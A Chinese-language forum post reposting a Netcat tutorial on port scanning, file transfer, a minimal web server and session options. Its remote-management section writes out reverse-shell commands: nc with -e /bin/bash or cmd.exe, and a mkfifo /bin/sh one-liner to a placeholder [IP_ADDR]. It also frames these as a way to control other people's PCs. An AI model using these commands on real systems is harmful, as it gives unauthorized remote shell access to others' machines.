开启辅助访问 切换到窄版

打印 上一主题 下一主题

网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服

[复制链接]
作者:回头把L妖孽 
版块:
嵌入式操作系统 linux 发布时间:2020-4-3 06:12:21
12830
楼主
跳转到指定楼层
| 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前言</p>小助手今天说的这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。
他就是 Nmap 工具包内的 Ncat


介绍</p>Netcat是用于跨TCP和UDP端口读写数据的实用程序。
它可以用来做很多很酷的事情,比如文件传输,端口扫描,端口重定向,回溯别人的电脑,制作一个简单的聊天程序,用于网络故障排除等等,这就是为什么它被称为瑞士军刀。
此外,现在几乎所有的Linux发行版都预装了它,主要由网络管理员、DevOps和安全工程师用于他们的日常小任务。
Netcat-Traditional与Netcat-OpenBSD的区别
Netcat有两个类似的软件包,它们之间略有不同。
Netcat-Traditional包括一个附加的‘-e’选项,可用于将程序(即bash)与Netcat绑定。此功能对于远程管理非常有用。
Netcat-OpenBSD对IPv6和代理有一些额外的支持。
端口扫描</p>要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。键入以下内容
ubuntu@ubuntu:~$ nc -z -v example.com 80 ...... example.com [x.x.x.x] 80 (http) open
扫描一系列端口键入一下内容
ubuntu@ubuntu:~$ nc -z -nv 192.168.1.2 20-80 (UNKNOWN) [192.168.1.2] 80 (http) open (UNKNOWN) [192.168.1.2] 22 (ssh) open
文件传输</p>Netcat的另一个有用用例是远程计算机之间的文件传输。您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。
在接收方windows主机上键入以下内容
C:\Users> nc -nvlp 1248 > file.pdf Listening on [0.0.0.0] (family 2, port 1248)
在发送方linux主机上键入以下内容
ubuntu@ubuntu:~$ nc -nv 192.168.1.2 1248 < file.pdf Connection to 192.168.1.2 1248 port [tcp/*] succeeded!
远程管理</p>Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。
Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。
Netcat将从远程PC接收命令,在本地系统上执行,并将结果发送回远程PC。
此功能被广泛用于恶意目的,在PC和服务器中保留后门。
此功能仅在Netcat-Traditional中可用,但通过一点小技巧,Netcat-OpenBSD也可以用于相同的目的。
也就是说你可以用两种方式来控制别人的电脑。




当受控计算机在NAT之后或没有公网IP时使用反弹shell,攻击者侦听端口并等待从受控计算机发送连接。
要使用Netcat获取反弹shell,您需要使用Netcat侦听端口。在攻击者计算机上键入以下内容,
ubuntu@ubuntu:~$ nc -nvlp 1248 Listening on [0.0.0.0] (family 2, port 1248)
在受控计算机上,如果是Linux运行
ubuntu@ubuntu:~$ nc -nv [IP_ADDR] 1248 -e /bin/bash
如果是Windows运行
C:\Users> nc -nv [IP_ADDR] 1248 -e cmd.exe
Netcat-Openbsd中 -e 选项不受支持,所以需要曲线救国
ubuntu@ubuntu:~$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP_ADDR] 1248 >/tmp/f
简单web服务器</p>您还可以使用另一个简单的技巧将Netcat用作最小的单页面Web服务器。
这个Web服务器非常简单,没有特殊配置,我们将使用它将HTML代码发送到浏览器。
ubuntu@ubuntu:~$ while true ; do echo -e "HTTP/1.1 200 OK\n\n $(echo "server by netcat

")" | nc -nvlp 1248 ; done Listening on [0.0.0.0] (family 2, port 1248)
然后使用curl请求该路由地址
ubuntu@ubuntu:~$ curl http://127.0.0.1:1248/ server by netcat


指定会话超时时间</p>您可以使用“-w”选项指定Netcat会话的超时。Netcat将在指定时间超时后自动断开其会话。
ubuntu@ubuntu:~$ nc -w 30 -nvlp 1248 Listening on [0.0.0.0] (family 2, port 1248)
客户端监听守护</p>客户端就是断开,也坚持监听请求。在正常模式下,当客户端关闭连接时,Netcat服务器会关闭并停止侦听端口。您可以使用“-k”选项保持服务器正常运行
ubuntu@ubuntu:~$ nc -k -nlvp 1248 Listening on [0.0.0.0] (family 2, port 1248)
写在最后</p>Netcat是一种简单而高效的实用程序,可用于许多简单的日常任务。
它预装在几乎所有类似UNIX的操作系统中,可用于各种任务。
快去测试一下吧。
【本文由 发布,持续分享编程故事,欢迎关注】

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表